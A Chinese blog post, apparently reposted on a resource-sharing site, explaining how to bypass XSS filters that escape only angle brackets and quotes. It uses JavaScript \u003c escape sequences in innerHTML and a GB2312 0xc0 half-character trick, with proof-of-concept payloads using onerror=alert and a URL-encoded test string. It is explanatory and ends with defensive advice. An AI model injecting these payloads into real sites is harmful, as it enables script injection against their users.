也想出现在这里? 联系我们

一种新型的绕过XSS防御的方法介绍

作者 : 小编 本文共1851个字,预计阅读时间需要5分钟 发布时间: 2021-06-5 共3.19K人阅读
也想出现在这里? 联系我们

大家都知道,普遍的防御XSS攻击的方法是在后台对以下字符进行转义:<、>、’、”,但是经过本人的研究发现,在一些特殊场景下,即使对以上字符进行了转义,还是可以执行XSS攻击的。首先看一个JS的例子:<script> var s = "\\u003c\\u003e"; alert(s);</script>运行这段代码,结果显示如下:看到这么熟悉的尖括号,大家会不会有一些兴奋的感觉呢?JS代码中并没有出现尖括号,可是运行时却输出了尖括号!!!这意味着:可以通过\\u003c和\\u003e来代替<和>。可是该如何利用这个特性来构造XSS攻击呢?继续看一个例子:<div id=\’s\’>test</div><script> var s = "\\u003cimg src=1 onerror=alert(/xss/)\\u003e"; document.getElementById(\’s\’).innerHTML = s;</script>运行上面代码,结果显示如下:在没有尖括号的情况下,成功实现了一个弹框的案例。现在来设想一个更贴近实际开发情况的例子:(1)假设某站的首页:http://www.xxxx.com /main.html,其代码为:<div id="test"> aa</div><script> function callback(obj) { document.getElementById("test").innerHTML = obj.name; }</script><script src=" http://www.victim.com/getcontent"></script>(2)http://www.victim.com/getcontent返回的内容格式如下:callback({"name":"xx"}); 其中name的值是用户的昵称。 这个例子简单模拟了异步拉取信息并进行显示的情况。现在假设用户的昵称为:\\u003cimg src=1 onerror=alert(/xss/)\\u003e 那么会是什么情况呢?首先getcontent返回的昵称应该是这样的:\\\\u003cimg src=1 onerror=alert(/xss/)\\\\u003e因为后台输出JSON格式数据时,一般都会在\\前面添加转义符进行转义。接着main.html的callback函数应该是等价于执行下面的语句:document.getElementById("test").innerHTML =" \\\\u003cimg src=1 onerror=alert(/xss/)\\\\u003e";显示的结果如下: 很遗憾,没有弹出框。原因是原来的转义序列\\u003c并没有生效,被添加的转义符转义掉了。不过这里假设返回昵称时对\\进行了转义,但实际情况下,有时输出json格式数据时是没有对\\进行转义的,那样就会触发漏洞。对于有对\\进行转义的,这时就轮到我们强大的半字符出场了。对于半字符的问题,这里并不打算详细讲,说下结论:对于gb2312编码," [0xc0]\\ "是一个合法的编码,显示为:"繺"。对于UTF-8编码,在IE6下,上述组合也是一个合法的编码。其中[0xc0]表示一个十六进制的值。现在修改昵称为:[0xc0]\\u003cimg src=1 onerror=alert(/xss/) [0xc0]\\u003e,getcontent输出:callback({"name":"[0xc0]\\\\u003cimg src=1 onerror=alert(/xss/) [0xc0]\\\\u003e"});由于半字符[0xc0]的存在,在解释上述JS代码时,等价于:callback({"name":"繺\\u003cimg src=1 onerror=alert(/xss/) 繺\\u003e"});可见,转义序列\\u003c终于又回来了,显示结果如下:上述昵称中并没有出现单双引号,尖括号,所以如果后台只是对单双引号和尖括号进行转义,那么是可以被绕过防御的。总结:(1)利用场景:输出内容在JS代码里,并且被动态显示出来(如使用innerHTML)。(2)测试方法:截获请求包,修改参数为:%c0\\u003cimg+src%3d1+onerror%3dalert(/xss/)+%c0\\u003e(3)防御方法:后台对半字符,反斜杠,单双引号,尖括号进行处理。一切皆有可能,跨站无处不在,发挥偶们强大的智慧来挖掘吧

1. 本站所提供的源码模板(主题/插件)等资源仅供学习交流,若使用商业用途,请购买正版授权,否则产生的一切后果将由下载用户自行承担,有部分资源为网上收集或仿制而来,若模板侵犯了您的合法权益,请来信通知我们(Email: rayer@88.com),我们会及时删除,给您带来的不便,我们深表歉意!
2. 分享目的仅供大家学习和交流,请不要用于商业用途!
3. 如果你也有好源码或者教程,可以到用户中心发布投稿,分享有金币奖励和额外收入!
4. 本站提供的源码、模板、插件等等其他资源,都不包含技术服务 请大家谅解!
5. 如有链接无法下载、失效或广告,请联系站长,可领回失去的金币,并额外有奖!
6. 如遇到加密压缩包,默认解压密码为"www.zyfx8.cn",如遇到无法解压的请联系管理员!
本站部分文章、资源来自互联网,版权归原作者及网站所有,如果侵犯了您的权利,请及时联系我站删除。免责声明
资源分享吧 » 一种新型的绕过XSS防御的方法介绍

常见问题FAQ

免费下载或者VIP会员专享资源能否直接商用?
本站所有资源版权均属于原作者所有,这里所提供资源均只能用于参考学习用,请勿直接商用。若由于商用引起版权纠纷,一切责任均由使用者承担。更多说明请参考 VIP介绍。
织梦模板使用说明
你下载的织梦模板并不包括DedeCMS使用授权,根据DedeCMS授权协议,除个人非盈利站点外,均需购买DedeCMS商业使用授权。购买地址: http://www.desdev.cn/service-dedecms.html

发表评论

Copyright 2015-2020 版权所有 资源分享吧 Rights Reserved. 蜀ICP备14022927号-1
开通VIP 享更多特权,建议使用QQ登录